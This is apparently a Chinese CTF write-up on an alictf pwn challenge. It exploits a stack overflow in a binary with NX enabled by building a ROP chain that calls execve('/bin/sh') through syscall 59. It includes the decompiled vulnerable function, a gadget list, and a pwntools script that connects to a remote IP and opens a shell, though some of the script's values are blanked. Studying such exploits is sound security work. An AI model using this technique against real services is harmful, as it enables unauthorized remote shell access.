当程序开启了nx,但程序有syscall调用的时候。这时栈溢出的利用就可以通过rop来执行syscall的59号调用execve('/bin/sh',null,null),这是这次alictf一道pwn的心得。

ida配合gdb定位程序漏洞如下:

  1. signed __int64 __fastcall sub_40108E(__int64 a1)
  2. {
  3. signed __int64 result; // rax@3
  4. __int64 v2; // rdx@4
  5. int v3; // [sp+10h] [bp-40h]@1
  6. __int64 v4; // [sp+20h] [bp-30h]@1
  7. __int64 v5; // [sp+28h] [bp-28h]@1
  8. __int64 v6; // [sp+30h] [bp-20h]@1
  9. __int64 v7; // [sp+38h] [bp-18h]@1
  10. __int64 v8; // [sp+40h] [bp-10h]@1
  11. unsigned int v9; // [sp+48h] [bp-8h]@7
  12. int v10; // [sp+4Ch] [bp-4h]@4
  13.  
  14. v4 = 0LL;
  15. v5 = 0LL;
  16. v6 = 0LL;
  17. v7 = 0LL;
  18. v8 = 0LL;
  19. v3 = ;
  20. sub_400330((__int64)&v3, a1, 80LL); // 处理输入,首字母py绕过登陆检测,80字节的最后8字节控制ret
  21. if ( (_BYTE)v3 != || BYTE1(v3) != )

通过Ropgadget找到构造syscall的rop链如下:

  1.  
  1. 0x46f208 : pop rax;ret
  2. 0x401823: pop rdi;ret
  3. 0x462873: pop rcx;ret
  4. 0x422568: mov dword ptr [rdi], ecx ; ret
  5. 0x46f205 : add rsp 0x58 ret
  6. 0x43ae29: pop rdx;pop rsi;ret
  7. 0x45f2a5: syscall;ret
  1.  

利用代码:

  1. from pwn import *
  2. #io=process('./vss')
  3. io=remote('114.55.103.213',)
  4. praxret=0x46f208
  5. prdiret=0x401823
  6. prcxret=0x0000000000462873 # pop rcx ret
  7. movrdircx = 0x422568
  8. addespret=0x46f205 #add rsp 0x58 ret
  9. prdxrsiret=0x43ae29
  10. syscallret=0x45f2a5
  11. pay='py'+'a'*
  12. pay+=p64(addespret)+'a'*8 #add rsp 0x58;ret
  13. pay+=p64(praxret)+p64() #pop rax;ret
  14. pay+=p64(prcxret)+'/bin/sh\x00'+p64(movrdircx) #pop rcx;ret;mov dword ptr [rdi], ecx ; ret
  15. pay+=p64(prdxrsiret)+p64()+p64() #pop rdx;pop rsi;ret
  16. pay+=p64(syscallret) #syscall;ret
  17. io.recvuntil('Password:\n')
  18. io.sendline(pay)
  19. io.interactive()

  1.  

栈溢出之rop到syscall的更多相关文章

  1. Android内核栈溢出与ROP(CVE-2013-2597)

    一.准备 由于内核栈不可执行(NX),栈溢出利用需用到ROP.简单回顾一下ARM ROP. 漏洞演示代码如下,网上随便找了个. char *str="/system/bin/sh" ...

  2. arm64 调试环境搭建及 ROP 实战

    前言 比赛的一个 arm 64 位的 pwn 题,通过这个题实践了 arm 64 下的 rop 以及调试环境搭建的方式. 题目文件 https://gitee.com/hac425/blog_data ...

  3. 渗透入门rop

    原文链接:https://blog.csdn.net/guiguzi1110/article/details/77663430?locationNum=1&fps=1 基本ROP 随着NX保护 ...

  4. Buuctf刷题:部分

    get_started_3dsctf_2016 关键词:ROP链.栈溢出.mprotect()函数 可参考文章(优质): https://www.cnblogs.com/lyxf/p/12113401 ...

  5. D^3ctf两道 pwn

    这次 的D^3ctf 又是给吊打 难顶... 所以题都是赛后解出来的,在这感谢Peanuts师傅 unprintableV 看看保护: 看看伪代码,其实代码很少 void __cdecl menu() ...

  6. PWN二进制漏洞学习指南

    目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...

  7. syscall to rop

    前言 hitcon 2017 的 start 题,比较简单,练练手. 题目链接: https://gitee.com/hac425/blog_data/tree/master/hitcon2017 正 ...

  8. 构建ROP链实现远程栈溢出

    通常情况下栈溢出可能造成的后果有两种,一类是本地提权另一类则是远程执行任意命令,通常C/C++并没有提供智能化检查用户输入是否合法的功能,同时程序编写人员在编写代码时也很难始终检查栈是否会发生溢出,这 ...

  9. Linux pwn入门教程(3)——ROP技术

    作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42530-1-1.html 0×00 背景 在上一篇教程的<shellco ...

随机推荐

  1. 汇编笔记之 ret 、retf和call

    作用: ret  将 栈顶数据出栈到IP retf 将 栈顶数据出栈到IP ,然后再次将栈顶数据出栈到CS 这样一来,可以使程序跳转到已经定义好了的代码段去执行. call 语法 call s0 (如 ...

  2. 将图片转换为Base64

    string Imagefilename   硬盘路径 protected string ImgToBase64String(string Imagefilename) { try { Bitmap ...

  3. JavaAppArguments.java程序的更改

       此程序模仿JvaAppArgyments.java编写,从命令行接受多个数字,求和之后输出结果.  设计思想:命令行参数都是字符串,可以考虑用 Integer.parseInt(args[]) ...

  4. 武汉科技大学ACM :1006: 华科版C语言程序设计教程(第二版)习题7.15

    Problem Description 输入n个字符串(n<=100),输出其中最长的串,如果有多个则取最先找到的那一个. Input 多组测试数据. 每组测试数据第一行包含一个整数n,表示一共 ...

  5. 【SQL】查询语句中in和exists的区别

    in in可以分为三类: 一. 形如select * from t1 where f1 in ( &apos:a &apos:, &apos:b &apos:),应该和 ...

  6. mongodb安装服务

    一.准备工作 1:下载:  http://www.mongodb.org/downloads 2:解压到ZIP到 D:\Mongodb   ,在此目录下再建立2个目录  D:\Mongodb\db和D ...

  7. javascript 关于一周前一个月前的处理方法

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...

  8. Jquery 学习插件第一天

    <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title&g ...

  9. 【GoLang】golang 微服务框架 go-kit

    golang-Microservice Go kit - A toolkit for microservices kubernetes go-kit_百度搜索 Peter Bourgon谈使用Go和& ...

  10. IOS学习之十七:Grand Central Dispatch(GCD)编程基础

    IOS学习之十七:Grand Central Dispatch(GCD)编程基础   有过编程经验的人,基本都会接触到多线程这块. 在java中以及Android开发中,大量的后台运行,异步消息队列, ...